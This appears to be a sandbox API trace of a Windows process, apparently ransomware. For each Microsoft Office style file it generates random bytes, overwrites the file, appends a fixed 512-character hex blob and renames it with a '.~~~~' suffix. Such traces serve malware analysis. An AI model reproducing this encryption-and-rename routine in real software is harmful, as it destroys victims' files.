	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.793] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.793] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.793] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.793] GetLastError () returned 0x0
	[0132.794] GetLastError () returned 0x0
	[0132.794] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.794] GetLastError () returned 0x0
	[0132.794] GetLastError () returned 0x0
	[0132.795] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffffef5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.796] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x10b, lpOverlapped=0x0) returned 1
	[0132.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.799] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.799] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.800] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.800] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.800] CloseHandle (hObject=0x120) returned 1
	[0132.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.800] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\TAB_ON.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\tab_on.gif.~~~~")) returned 1
	[0132.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.802] GetLastError () returned 0x0
	[0132.803] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.805] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.805] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25279528048) returned 1
	[0132.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb89979d0, dwHighDateTime=0x1d60e1e)) 
	[0132.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823fa8
	[0132.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823fa8 | out: hHeap=0x300000) returned 1
	[0132.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.806] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.806] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.806] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.806] GetLastError () returned 0x0
	[0132.806] GetLastError () returned 0x0
	[0132.806] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.806] GetLastError () returned 0x0
	[0132.806] GetLastError () returned 0x0
	[0132.808] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff289, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.808] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd77, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd77, lpOverlapped=0x0) returned 1
	[0132.810] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.810] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.811] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.811] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.811] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.811] CloseHandle (hObject=0x120) returned 1
	[0132.811] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0132.811] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime.css.~~~~")) returned 1
	[0132.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0132.812] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.812] GetLastError () returned 0x0
	[0132.813] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.814] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.814] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.814] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25280400164) returned 1
	[0132.814] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb89bdb30, dwHighDateTime=0x1d60e1e)) 
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2823fe0
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2823fe0 | out: hHeap=0x300000) returned 1
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.814] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.814] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.815] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.815] GetLastError () returned 0x0
	[0132.815] GetLastError () returned 0x0
	[0132.815] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.815] GetLastError () returned 0x0
	[0132.815] GetLastError () returned 0x0
	[0132.909] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.909] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x715, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x715, lpOverlapped=0x0) returned 1
	[0132.912] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.915] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.915] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.915] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.915] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.916] CloseHandle (hObject=0x120) returned 1
	[0132.916] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802370
	[0132.916] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Maroon.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\maroon.css.~~~~")) returned 1
	[0132.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802370 | out: hHeap=0x300000) returned 1
	[0132.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.918] GetLastError () returned 0x0
	[0132.918] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.920] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.920] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.920] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.920] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25291004891) returned 1
	[0132.920] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8aa2370, dwHighDateTime=0x1d60e1e)) 
	[0132.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.920] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824018
	[0132.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824018 | out: hHeap=0x300000) returned 1
	[0132.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.921] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.921] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.922] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.922] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.922] GetLastError () returned 0x0
	[0132.922] GetLastError () returned 0x0
	[0132.922] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.922] GetLastError () returned 0x0
	[0132.922] GetLastError () returned 0x0
	[0132.926] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff280, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.926] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0xd80, lpOverlapped=0x0) returned 1
	[0132.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.928] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.928] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.929] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.929] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.929] CloseHandle (hObject=0x120) returned 1
	[0132.929] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2802370
	[0132.929] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css.~~~~")) returned 1
	[0132.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2802370 | out: hHeap=0x300000) returned 1
	[0132.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.931] GetLastError () returned 0x0
	[0132.931] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.932] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.932] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.932] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25292250732) returned 1
	[0132.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8ac84d0, dwHighDateTime=0x1d60e1e)) 
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824050
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0132.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824050 | out: hHeap=0x300000) returned 1
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0132.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0132.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0132.933] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0132.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0132.933] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0132.933] GetLastError () returned 0x0
	[0132.934] GetLastError () returned 0x0
	[0132.934] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0132.934] GetLastError () returned 0x0
	[0132.934] GetLastError () returned 0x0
	[0132.936] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8b1, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.936] WriteFile (in: hFile=0x120, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x74f, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x74f, lpOverlapped=0x0) returned 1
	[0132.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0132.939] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0132.939] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0132.939] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0132.939] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0132.939] CloseHandle (hObject=0x120) returned 1
	[0132.939] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f0578
	[0132.939] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css.~~~~")) returned 1
	[0132.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0578 | out: hHeap=0x300000) returned 1
	[0132.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0132.941] GetLastError () returned 0x0
	[0132.941] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0132.942] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0132.942] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0132.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0132.943] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25293284444) returned 1
	[0132.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb8aee630, dwHighDateTime=0x1d60e1e)) 
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0132.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
